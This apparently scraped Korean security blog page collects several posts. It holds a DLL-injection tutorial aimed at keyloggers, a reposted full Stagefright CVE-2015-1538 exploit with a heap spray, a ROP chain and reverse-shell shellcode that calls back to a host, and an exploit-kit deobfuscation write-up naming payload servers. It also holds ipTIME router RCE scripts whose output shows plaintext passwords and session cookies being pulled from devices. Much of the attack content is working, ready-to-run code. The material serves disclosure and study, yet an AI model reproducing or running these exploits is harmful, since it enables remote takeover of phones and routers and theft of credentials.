336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

Microsoft에서는 프로세스간에 주고 받는 메세지를 후킹할 수 있는 함수를 제공한다.

바로 SetWindowsHookEx() 함수이다. 이 함수를 통해 DLL을 특정 플로세스나 모든 프로세스에 Injection 할 수 있다. 그리고 User mode(ring 3)에서 동작하는 Keylogger들 대부분이 이 함수를 사용하여 구현된다. (SetWindowsHookEx()함수를 통해 후킹 할 경우 전역 후킹이 간단하므로 많이 사용된다)


HHOOK SetWindowsHookEx(

int    idHook,

HOOKPROC    lpfn,

HINSTANCE    hMod,

DWORD    dwThread

);



첫번째 파라미터인 idHook 변수는 후킹하고자 하는 메세지의 ID라고 할 수 있다. WH_GETMESSAGE, WH_KEYBOARD 등 다양한 메세지가 있다. (MSDN)


idHook 파라미터에 지정된 값의 이벤트(메세지)가 발생할 경우 훅 프로시저(lpfn 파라미터에 설정) 가 동작하게 된다. 훅 프로시저는 Injection 할 DLL (앞으로 Injected.dll) 지정되어 있어야 한다.




/* Injected.dll */

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM IParam)

{

/*원하는 코드 삽입 */

return CallNextHookEx(0, nCode, wParam, IParam);

};




마지막에 CallNextHookEx()함수를 호출한 이유는 훅 체인에 있는 다른 훅 프로시저가 해당 메세지를 사용할 수도 있기 때문이다. 예를 들면 키보드메세지를 후킹하여 Keylogger를 만들었다고 하면 해당 메세지를 후킹 후 로딩을 하고 CallNextHookEx() 함수를 통해 처리를 하지 않고 그냥 끝내 버린다면 들통나버릴것이다.


두번째 파라미터는 lpfn이다. 이 파라미터에는 Injected.dll에 지정된 훅 프로시저의 주소값을 지정한다. 만약 IdHook에 WH_KEYBOARD를 지정하여 후킹 할 경우 해당 훅 프로시저는 KeyboardProc이다. 주소 값을 지정해줘야 하는데 하드 코딩하여 지정해 줄 수 있지만 LoadLibrary()함수와 GetProcAddress를 이용하여 Injected.dll의 훅 프로시저의 주소를 구할 수 있다.



/* Injector.c */

HMODULE hDll;

unsigned long KeyProcAddr;

hDll=LoadLibrary("Injected.dll");

KeyboardProcAddr=GetProcAddress(hDll, "KeyboardProc");


다음으로 세번째 파라미터인 hMod를 보다. hMod는 DLL핸들(Handle)을 지정해야 한다. 여기에선 Injected.dll의 핸들을 지정해 주면 된다.

이미 Injector.c 에서 LoadLibrary("Injected.dll"); 통해 핸들을 얻었으므로 hDll변수를 사용하면 된다.

네 번째 파라미터 dwThreadId는 후킹할 프로세스 즉 Injected.dll을 삽입할 스레드 (Thread)의 ID이다. PID라고 하며 해당 파라미터에 0을 지정하면 모든 스레드에 훅(Hook)을 한다는 의미로 전역 훅을 할 수있다. 특정 스레드에 Injection을 하려고 한다면 "작업 관리자"를 통해 PID를 얻어 하드코딩하거나 아래와 같은 방법으로 PID를 얻어 사용할 수 있다.



/* 전역 훅 */

SetWindowsHookEx(WH_KEYBOARD, KeyboardProcAddr, hDll, 0)



/*지역 훅 */

SetWindowsHookEx(WH_KEYBOARD, KeyboardProcAddr, hDll, GetCurrentThreadId());

dwThread 값을 얻기 위한 함수는 많이 있다.

'PENETRATION' 카테고리의 다른 글

practicing with resources  (0) 2015.12.09
DDos document  (0) 2015.08.30
ck vip  (0) 2015.08.30
codegate 2015  (0) 2015.07.30
Exploit Code for ipTIME firmwares < 9.58 RCE with root privileges against 127 router models  (0) 2015.07.29
Posted by af334
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.



http://chogar.blog.me/80196199880


http://codeengn.com/challenges/


http://darksoulstory.tistory.com/364

'PENETRATION' 카테고리의 다른 글

DLL Injection - SetWindowsHookEx() 함수를 이용  (0) 2016.01.19
DDos document  (0) 2015.08.30
ck vip  (0) 2015.08.30
codegate 2015  (0) 2015.07.30
Exploit Code for ipTIME firmwares < 9.58 RCE with root privileges against 127 router models  (0) 2015.07.29
Posted by af334
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

DEMO
http://youtu.be/PxQc5gOHnKs


black hat presentation

https://youtu.be/71YP65UANP0



#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 ‘stsc’ atom handling
#
# Don’t forget, the output of “create_mp4” can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.” – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
if len(tag) != 4:
raise ‘Yo! They call it “FourCC” for a reason.’
ret = struct.pack(‘>L’, len(data) + 8)
ret += tag
ret += data
return ret
#
# Make an ‘stco’ atom – Sample Table Chunk Offets
#
def make_stco(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mNumChunkOffsets
return make_chunk(‘stco’, ret+extra)
#
# Make an ‘stsz’ atom – Sample Table Size
#
def make_stsz(extra=”):
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mDefaultSampleSize
ret += struct.pack(‘>L’, 0) # mNumSampleSizes
return make_chunk(‘stsz’, ret+extra)
#
# Make an ‘stts’ atom – Sample Table Time-to-Sample
#
def make_stts():
ret = struct.pack(‘>L’, 0) # version
ret += struct.pack(‘>L’, 0) # mTimeToSampleCount
return make_chunk(‘stts’, ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
ret = ”
ret += struct.pack(‘>L’, start + 1)
ret += struct.pack(‘>L’, per)
ret += struct.pack(‘>L’, desc)
return ret
#
# Make an ‘stsc’ chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack(‘>L’, 0) # version/flags
# this is the clean version…
if not do_overflow:
ret += struct.pack(‘>L’, num_alloc) # mNumSampleToChunkOffsets
ret += ‘Z’ * (12 * num_alloc)
return make_chunk(‘stsc’, ret)

# now the explicit version. (trigger the bug)
ret += struct.pack(‘>L’, 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

ret = make_chunk(‘stsc’, ret)

# patch the data_size
ret = struct.pack(‘>L’, 8 + 8 + (num_alloc * 12)) + ret[4:]

return ret

#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
“””
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
“””
“””
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ”
rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}
rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}

rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
rop += struct.pack(‘<L’, 0x1000) # new r1 – length
rop += struct.pack(‘<L’, 7) # new r2 – protection
rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch
rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch
rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect

native_start = sp_addr + 0x80
rop += struct.pack(‘<L’, native_start) # address of native payload
#rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack…
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = ”
# fork
buf += ‘\x02\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
# continue if not parent…
buf += ‘\x00\x00\x50\xe3’
buf += ‘\x02\x00\x00\x0a’
# exit parent
buf += ‘\x00\x00\xa0\xe3’
buf += ‘\x01\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
# setsid in child
buf += ‘\x42\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
# socket/connect/dup2/dup2/dup2
buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
buf += ‘\xe3\x00\x00\x00\xef’
# execve(shell, argv, env)
buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
buf += ‘\xef\x02\x00’
# Add the connect back host/port
buf += struct.pack(‘!H’, cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack(‘=4s’, cb_host)
# shell –
buf += ‘/system/bin/sh\x00\x00’
# argv –
buf += ‘sh\x00\x00’
# env –
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’

# Add some identifiable stuff, just in case something goes awry…
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 – rop_start_off:
rop += struct.pack(‘<L’, 0xf0f00000+x)
x += 4

# Add the native payload…
rop += buf

return rop

#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []

# Build the MP4 header…
ftyp = ‘mp42’
ftyp += struct.pack(‘>L’, 0)
ftyp += ‘mp42’
ftyp += ‘isom’
chunks.append(make_chunk(‘ftyp’, ftyp))

# Note, this causes a few allocations…
moov_data = ”
moov_data += make_chunk(‘mvhd’,
struct.pack(‘>LL’, 0, 0x41414141) +
(‘B’ * 0x5c) )

# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk(‘trak’,
make_chunk(‘stbl’,
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))

# Spray the heap using a large tx3g chunk (can contain binary data!)
“””
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
“””
page = ”
off = 0 # the offset to the next object
off += 8
page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack(‘<L’, sp_addr + off) # mRefs
off += 16
page += struct.pack(‘<L’, 1) # mStrong
page += struct.pack(‘<L’, 0xc0dedbad) # mWeak
page += struct.pack(‘<L’, sp_addr + off) # mBase
page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack(‘<L’, newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack(‘<L’, 0xf0f00000+x)
x += 4

off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) – 20)
moov_data += make_chunk(‘tx3g’, spray)
block = ‘A’ * 0x1c
bigger = ‘B’ * 0x40
udta = make_chunk(‘udta’,
make_chunk(‘meta’,
struct.pack(‘>L’, 0) +
make_chunk(‘ilst’,
make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
)
)
moov_data += udta

# Make the nasty trak
tkhd1 = ”.join([
‘\x00’, # version
‘D’ * 3, # padding
‘E’ * (5*4), # {c,m}time, id, ??, duration
‘F’ * 0x10, # ??
struct.pack(‘>LLLLLL’,
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
‘G’ * 0x14
])

trak1 = ”
trak1 += make_chunk(‘tkhd’, tkhd1)

mdhd1 = ”.join([
‘\x00’, # version
‘D’ * 0x17, # padding
])

mdia1 = ”
mdia1 += make_chunk(‘mdhd’, mdhd1)
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)

dinf1 = ”
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)

minf1 = ”
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
minf1 += make_chunk(‘dinf’, dinf1)

# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER

# Add the stbl to the minf chunk
minf1 += make_chunk(‘stbl’, stbl1)

# Add the minf to the mdia chunk
mdia1 += make_chunk(‘minf’, minf1)

# Add the mdia to the track
trak1 += make_chunk(‘mdia’, mdia1)

# Add the nasty track to the moov data
moov_data += make_chunk(‘trak’, trak1)

# Finalize the moov chunk
moov = make_chunk(‘moov’, moov_data)
chunks.append(moov)

# Combine outer chunks together and voila.
data = ”.join(chunks)

return data

if __name__ == ‘__main__’:
import sys
import mp4
import argparse

def write_file(path, content):
with open(path, ‘wb’) as f:
f.write(content)

def addr(sval):
if sval.startswith(‘0x’):
return int(sval, 16)
return int(sval)

# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)

# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
args = parser.parse_args()

if len(sys.argv) == 1:
parser.print_help()
sys.exit(–1)

if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val

# Build the MP4 file…
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf




38124.py


https://www.exploit-db.com/exploits/38124/

Posted by af334
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.



overflow12.pdf


http://www.cs.utah.edu/~regehr/papers/overflow12.pdf


http://blog.regehr.org/archives/1054




secure coding


https://securecoding.cert.org/confluence/display/seccode/SEI+CERT+Coding+Standards



Posted by af334
2015. 8. 30. 06:39
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

EpF354.pdf



Posted by af334
2015. 8. 30. 02:50
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.


Deobfuscating the CK Exploit Kit

The CK Exploit Kit has been around since 2012 and has its roots in the NetBoom Exploiter kit according to security blog site CySecTa. You can read about its history and other information here.

Output from the NB Exploiter doesn’t resemble the scripts found in today’s CK Exploit Kit so we’re probably talking about a completely new tool. However, when you take a closer look, you will find variable names like “nbcode”, “nbChar”, and “nbencode” so there may be some code reuse after all.

2013-09-02_01

Finding a live instance of the CK Exploit Kit these days is a somewhat of a challenge. The drive-by download appears for less than a day then the files are removed from the server. This exploit kit tends to show up on Chinese and Korean sites.

The CK Exploit Kit is definitely out of date but since it’s still being used today, I thought I would document it here for my reference. I won’t spend too much time digging into the kit since there’s already several good write-ups including this one from KISA – Korean Internet & Security Agency.

The landing page looks like this (you will notice the text “ck” referenced in variable names in several places). The “top.js” file is a plug-in detector and mainly checks for IE and Java versions.

2013-09-02_02

The Javascript is compressed using a variant of Dean Edwards’ packer. You can barely make out the variables p, a, c, k, e, d in between the comment tags:

2013-09-02_03

The variable “p” holds the deobfuscated value so you just need to replace “return p” with “document.write(‘<textarea>’+p)”:

2013-09-02_04

Since this script checks your cookie to make sure you only run it once, you can remove that part or just clear your browser cookies if you need to visit the page a second time. You should see a textbox containing the uncompressed script.

2013-09-02_05

All I did here was add the “script” tags, copy the function “ckl” from the landing page back to this page, and then separated the blocks of script so I can make better sense of it. If you go through the script, you’ll find that you can deobfuscate the script by modifying the function in the red block which is basically “window[document][write](t)”.

2013-09-02_06

Change the red block text to this: “window[X3cQCMIIF][ErTiUlaxlkP](‘<textarea>’+t)” and execute the script. You will again see a small textbox with your deobfuscated script in it. Here’s the final script with an interesting class name. Apparently someone didn’t have a good day.

2013-09-02_07

Inside one of those applets, the hilarity continues with another funny string:

2013-09-02_08

Near the bottom of the landing page, the script will open one of two HTML files depending on the version of IE used to visit the page.

if(ck_wm.indexOf(“msie 6″)>-1){document.write(“< iframe src=zip.html width=60 height=1>< /iframe>”);}else if(ck_wm.indexOf(“msie 7″)>-1||ck_wm.indexOf(“msie 8″)>-1){document.write(“< iframe src=win.html width=60 height=1>< /iframe>”);}

This zip.html page uses the same obfuscation method as the landing page:

2013-09-02_09

When you deobfuscate the script, it should look something like this. This hosts the CVE-2012-1889 exploit.

2013-09-02_10

The second page, win.html, calls up a Flash file which is protected with DoSWF.

2013-09-02_11

By the way, it contains an interesting string “King Lich V” which may be related to PlugX based on this write-up from Jaime Blasco.

2013-09-02_12

The script references an file “Moview1.html” which I wasn’t able to pull down in time. Presumably this is exploiting CVE-2013-0634. The shellcode is XOR’d using the value 0xE2 which is the same as Jaime’s sample from 2012.

2013-09-02_13

The payload file was downloaded from p.wangwangwangwangwang.com (174.139.88.102):

2013-09-02_14

The payload was a Trojan that checked in at qwe.xzczxcasrafdsfzxcvzv.com:3306 (98.126.71.38).

File: logo.swf (dropper)
MD5: ad760c37c4198449b81b4992a3f2d561
VT: 6 / 45

File: ckwm.jar (CVE-2011-3544)
MD5: 4a562094a9d2771507e50faf08a6ca79
VT: 8 / 46

File: wmck.jar (CVE-2012-4681)
MD5: 5b47778d02048bb081b122cb11367217
VT: 22 / 45

File: p.exe
MD5: b8c0bec6b361c971a09d2b6a93692291
VT: 25 / 46

This entry was posted in Exploit Packs and tagged , , . Bookmark the permalink.

http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/


Exploit Analysis.pdf








Posted by af334
2015. 7. 30. 16:04
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

코드게이트(Codegate) write_up

 

Codegate.junior & Codegate Write up


- owlur

https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-quals-owlur-writeup-web-200/

 

 - system shock

http://cd80.tistory.com/64

 

 - guesspw

http://cd80.tistory.com/64

https://0x1337seichi.wordpress.com/2015/03/15/codgate-2015-ctf-guesspw-writeup-trick-100/

 

 - cheip

http://cd80.tistory.com/64

http://err0rless313.tistory.com/

 

 - urandom

http://cd80.tistory.com/64

http://s0ngsari.tistory.com/entry/Codegate-2015urandom

http://err0rless313.tistory.com/

 

 - return

http://cd80.tistory.com/64

http://err0rless313.tistory.com/

 

- good_crypto 
http://vnsecurity.net/ctf%20-%20clgt%20crew/2015/03/16/codegate-good-crypto.html


- owltube



Posted by af334
336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.

A slice of Kimchi - IT Security Blog

Home • About • Feed

Exploit Code for ipTIME firmwares < 9.58 RCE with root privileges against 127 router models

Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

As stated in the precedent advisories, ipTIME firmwares prior to 9.58 version are vulnerable to a remote code execution which gives root privileges.

From product_db extracted from a live ipTIME system, it concerns at least these devices:

g1 g104a g104be g104i g104m g501 i1601 ic416 ic426 in524 ip0526 ip300 ip409 ip410 ip416 ip418 ip419
ip422 ip449 ip802 ip803 n104 n104a n104i n104m n2 n3004 n5004 n504 n6004 n604 n604i n604m n7004
n704 n704m nx505 q1 q304 q504 t1004 t1008 t2008 tq204 tv104 tv108 tv116 tv124 x1005 x3003 x5007 z54g

By analysis updated firmwares, in total 127 devices were affected:

a1004 a1004v a104 a104ns a104r a2004 a2004ns a2004r a2008 a3004 a3004ns a5004ns a604 a604v extac extd2
g1 g104 g104a g104be g104i g104m g204 g501 g504 ipsmart mini mobap1 multi n1 n104 n104a n104ar1 n104i
n104k n104ktt n104m n104p n104q n104r n104r3 n104rsk n104s n104sr1 n104t n104v n104vlg n1e n1eky n1p
n2 n2e n2p n3004 n5 n5004 n504 n5r1 n6004 n6004m n6004r n604 n604a n604i n604m n604p n604r n604s
n604t n604v n604vlg n608 n7004ns n702bcm n704 n704a n704a3 n704bcm n704lg n704m n704mlg n704ns
n704s n704v n704v3 n8004 n8004r n8004v n804 n804a n804a3 n804t n804t3 n804v n904 n904ns n904v
ng104 ng304 ntq104 ntv108 ntv116 ntv124 q1 q304 q504 q604 t1004 t1008 t16000 t2008 t24000 t3004
t3008 timeve tq204 tv104 v1016 v1024 v304 v308 v504 wre1 x3003 x3007 x5007 x6003

Here are the working exploits:

Exploit against the firmwares in ALL versions from 2008 to 2015 - until 9.50 firmware:

$ cat iptime.carnage.l2
#!/bin/sh

if [ ! $1 ]; then
  echo "Usage:"
  echo $0 ip command
  exit 1
fi

wget -qO- --post-data="echo 'Content-type: text/plain

'; PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
$

Exploit against firmware v9.52:

$ cat iptime.carnage.l2.v9.52 
#!/bin/sh

if [ ! $1 ]; then
  echo "Usage:"
  echo $0 ip command
  exit 1
fi

wget -qO- --post-data="echo 'Content-type: text/plain

'; PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh
$

The exploits have been written in HTML/JavaScript allowing people to test their systems in live using their browsers!

Now we test the exploits in my lab!

How to retrieve the credentials ? (see login and password at the end of the text file)

An online JavaScript POC is available here. - (exploit for version 9.52)

Using CLI:

kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /tmp/etc/iconfig.cfg
wantype.wan1=dynamic
dhblock.eth1=0
ppp_mtu=1454
fakedns=0
upnp=1
ppp_mtu=1454
timeserver=time.windows.com,gmt23,1,540,0
wan_ifname=eth1
auto_dns=1
dhcp_auto_detect=0
wireless_ifmode+wlan0=wlan0,0
dhcpd=1
lan_ip=192.168.0.1
lan_netmask=255.255.255.0
dhcpd_conf=br0,192.168.0.2,192.168.0.254,192.168.0.1,255.255.255.0
dhcpd_dns=164.124.101.2,168.126.63.2
dhcpd_opt=7200,30,200,
dhcpd_configfile=/etc/udhcpd.conf
dhcpd_lease_file=/etc/udhcpd.leases
dhcpd_static_lease_file=/etc/udhcpd.static
http_auth=session
use_captcha=1
login=test
password=test
org_hwaddr.eth1=90:9F:XX:XX:XX
nat_passthrough=0
kali#

Login and password are stored in plaintext, which is a very bad security practice.

Listing of the filesystem

An online JavaScript POC is available here. - (exploit for version 9.52)

Current running process:

An online JavaScript POC is available here. - (exploit for version 9.52)

Using CLI:

kali# ./iptime.carnage.l2.v9.52 192.168.0.1 ps -auxww
  PID  Uid     VmSize Stat Command
    1 root        720 S   init single 
    2 root            SW  [keventd]
    3 root            RWN [ksoftirqd_CPU0]
    4 root            SW  [kswapd]
    5 root            SW  [bdflush]
    6 root            SW  [kupdated]
    7 root            SW  [mtdblockd]
  252 root       1176 S   /sbin/dhcpd 
  270 root        436 S   apcpd 
  272 root        432 S   /sbin/iptables-q 
  299 root        372 S   /bin/wscd -start -c /var/wsc.conf -w wlan0 -fi /var/w
  303 root        260 S   /bin/iwcontrol wlan0 
  463 root        684 S   httpd 
  496 root        288 S   /bin/sh 
  498 root        300 R   ps -auxww 
kali#

Getting the kernel memory:

An online POC is available here. - (exploit for version 9.52)

Using CLI:

./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore

The device runs Linux 2.4.18, 12 year old Linux, full of CVEs (local AND remote):

<4>Linux version 2.4.18-MIPS-01.00 (rtlwl@ski) (gcc version 3.4.6-1.3.6) #128 Tue Feb 10 10:57:17 KST 2015
<4>early printk enabled 
<4>Determined physical RAM map:
<4> memory: 01000000 @ 00000000 (usable)
<4>On node 0 totalpages: 4096
<4>zone(0): 4096 pages.
<4>zone(1): 0 pages.
<4>zone(2): 0 pages.
<4>Kernel command line: root=/dev/mtdblock1 console=0 single
<4>Calibrating delay loop... 399.76 BogoMIPS
<4>Memory: 9500k/16384k available (2310k kernel code, 6884k reserved, 416k data, 60k init, 0k highmem)
<4>Dentry-cache hash table entries: 2048 (order: 2, 16384 bytes)
<4>Inode-cache hash table entries: 1024 (order: 1, 8192 bytes)
<4>Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
<4>Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
<4>Page-cache hash table entries: 4096 (order: 2, 16384 bytes)

Grabbing the valid HTTP authentication cookies:

kali# ./iptime.carnage.l2.v9.52 192.168.0.1 cat /proc/kcore | strings | grep Cookie

Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=iNYV3r097DPbMDWu
Cookie: efm_session_id=i3HJh4V15YLkf2l2
Cookie: efm_session_id=i3HJh4V15YLkf2l2
